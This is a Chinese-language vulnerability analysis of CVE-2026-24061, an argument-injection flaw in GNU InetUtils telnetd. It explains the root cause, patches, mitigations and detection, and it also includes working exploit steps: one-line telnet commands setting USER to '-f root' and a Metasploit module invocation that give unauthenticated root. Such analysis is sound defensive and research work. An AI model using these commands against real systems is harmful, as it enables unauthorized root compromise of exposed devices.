CVE-2026-24061:潜伏11年的致命漏洞深度解析

admin 2026-05-03 05:10:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-24061是GNUInetUtilstelnetd中潜伏11年的参数注入漏洞,CVSS评分9.8,影响超80万台设备。漏洞源于telnetd.c中login_invocation模板未验证USER环境变量,攻击者通过构造恶意环境变量可无需认证直接获取root权限。文档详细分析了漏洞触发机制、复现步骤(含Docker环境和Metasploit模块)、影响范围及防御方案(官方补丁和禁用Telnet服务)。 综合评分: 87 文章分类: 漏洞分析,应急响应,威胁情报,解决方案,安全建设


cover_image

CVE-2026-24061:潜伏11年的致命漏洞深度解析

原创

Faithtiann Faithtiann

SEVENTEENSEC

2026年2月25日 16:18 上海

在小说阅读器读本章

去阅读

点击蓝字 关注我们

SEVENTEENSEC

声明

⊙本文作者:Faithtiann

⊙本文字数:1925

⊙阅读时长:约10分钟

注:本文仅供安全研究与学习之用,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任

前言

摘要:一个被遗忘在代码深处11年的严重安全漏洞,CVSS评分高达9.8,影响全球超过80万台设备。本文从技术层面深入剖析这一GNU InetUtils telnetd参数注入漏洞的触发机制、利用方式与防御策略。

漏洞概述

2026年1月20日,安全研究人员Kyu Neushwaistein向GNU项目报告了一个存在近11年的严重安全漏洞——CVE-2026-24061。这个被评级为CVSS 9.8/10的关键级别漏洞,影响GNU InetUtils 1.9.3至2.7版本,允许未认证攻击者通过构造恶意环境变量实现远程root权限获取。

漏洞技术原理

漏洞触发机制

CVE-2026-24061的核心问题存在于telnetd/telnetd.c文件中的login_invocation模板字符串。该模板定义了telnetd如何调用系统的/usr/bin/login程序进行用户认证:

/* Template command line for invoking login program. */char *login_invocation =#ifdef SOLARIS10    PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"#elif defined SOLARIS    PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"#else /* !SOLARIS */    PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"#endif;

关键缺陷在于%?u{-f %u}{%U}条件表达式:

  • 如果用户提供了user_name,则使用-f %u进行自动登录
  • 否则使用%U(即USER环境变量)作为回退参数

问题在于:%U直接展开为原始的、未经过任何清理的USER环境变量。

变量展开漏洞

变量展开过程在telnetd/utility.c文件的_var_short_name()函数中实现:

case 'U':    return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup(""); // VULNERABLE!

这个函数直接从环境变量获取USER值并返回,完全没有进行任何输入验证或清理。

攻击流程

  1. 攻击者连接到telnetd(端口23)
  2. Telnet选项协商:
  • 服务器发送 IAC DO NEW_ENVIRON
  • 客户端响应 IAC WILL NEW_ENVIRON
  • 服务器发送 IAC SB NEW_ENVIRON SEND
  1. 攻击者发送恶意环境变量:
  • IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  1. 服务器处理:
  • getenv("USER")返回”-f root”
  • 模板%U展开为”-f root”
  • 最终执行命令:/usr/bin/login -p -h -f root
  1. 权限获取:login程序的-f参数指示”跳过认证”,直接以root启动shell

漏洞复现

环境搭建

使用Docker快速搭建漏洞环境:

# 创建docker-compose.ymlversion: '2'services:  telnetd:    image: vulhub/inetutils:2.7    ports:      - "2323:23"      # 启动环境docker-compose up -d

漏洞利用

Linux客户端(需要-a选项):

USER="-f root" telnet -a 127.0.0.1 2323

macOS客户端(不需要-a选项):

USER="-f root" telnet 127.0.0.1 2323

成功执行后,攻击者将直接获得目标系统的root shell,无需任何密码验证。

Metasploit模块

use exploit/unix/telnet/gnu_telnetd_cve202624061set RHOSTS <target>set RPORT 23run

影响范围分析

受影响系统

根据网络空间搜索引擎数据,全球约有221,000台设备在互联网上暴露了Telnet服务端口23。

实际受影响设备数量更为庞大。

受影响的Linux发行版:

  • Debian/Ubuntu系列
  • Kali Linux
  • SUSE/openSUSE
  • Red Hat Enterprise Linux
  • CentOS/Fedora

高危场景:

  • NAS设备(群晖、威联通、西部数据等)
  • 嵌入式网络设备
  • 老旧服务器和边缘计算节点
  • 工业控制设备
  • OpenWrt/LEDE/uClinux等嵌入式系统

漏洞潜伏原因

这个漏洞能潜伏近11年未被发现,有以下原因:

  1. 遗留协议关注度下降:Telnet因明文传输缺陷已被SSH替代
  2. 开源项目维护资源有限:GNU InetUtils维护团队规模较小
  3. 小众使用场景隐蔽性:NAS、嵌入式设备仍在广泛使用
  4. 利用条件特殊性:需要客户端支持NEW_ENVIRON选项

防御与修复

官方修复方案

GNU项目发布了两个补丁:

补丁一:基础安全检查

case 'U':{    char *u = getenv("USER");    return (u && *u != '-') ? xstrdup(u) : xstrdup("");}

补丁二:通用清理函数

static char *sanitize(const char *str){    if (str == NULL || *str == '-')        return xstrdup("");    return xstrdup(str);}

升级建议

# 从源码编译wget https://ftp.gnu.org/gnu/inetutils/inetutils-2.8.tar.xztar xvf inetutils-2.8.tar.xzcd inetutils-2.8./configure --prefix=/usr/localmake && make install
# 包管理器升级# Debian/Ubuntusudo apt-get install inetutils
# Red Hat/CentOSsudo yum update inetutils

临时缓解措施

最彻底方案:禁用Telnet服务

sudo systemctl stop telnet.socketsudo&nbsp;systemctl&nbsp;disable&nbsp;telnet.socket

替代方案:

  • 迁移到SSH协议
  • 配置防火墙限制访问来源
  • 部署认证代理

检测方法

网络流量分析:

  • 监测Telnet端口的异常连接
  • 检测包含特殊环境变量的Telnet会话
  • 分析NEW_ENVIRON选项数据包内容

系统日志分析:

  • 检查/var/log/secure认证日志
  • 寻找异常登录事件(无密码登录、root登录)
  • 分析login程序调用参数

总结

CVE-2026-24061作为一个潜伏11年的严重安全漏洞,充分暴露了开源项目在安全维护方面的挑战。这个CVSS评分高达9.8的参数注入漏洞,通过巧妙利用telnetd对USER环境变量的不充分验证,结合login程序的-f参数特性,实现了无需认证即可获取root权限的严重后果。

随着物联网设备的普及和边缘计算的发展,类似的基础组件漏洞可能带来更大威胁。建立完善的漏洞管理体系、加强开源项目的安全审查、推动安全协议的全面应用,将是保障网络安全的关键措施。

参考来源:

  • GNU InetUtils官方公告
  • CVE-2026-24061详情页
  • FreeBuf网络安全行业门户
  • The Hacker News

END

01

React2Shell 图形化漏洞检测利用工具

02

你的电脑里,有个”内鬼”叫DLL—–DLL劫持学习

03

AI渗透测试框架使用


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SEVENTEENSEC Faithtiann Faithtiann《CVE-2026-24061:潜伏11年的致命漏洞深度解析》

评论:0   参与:  0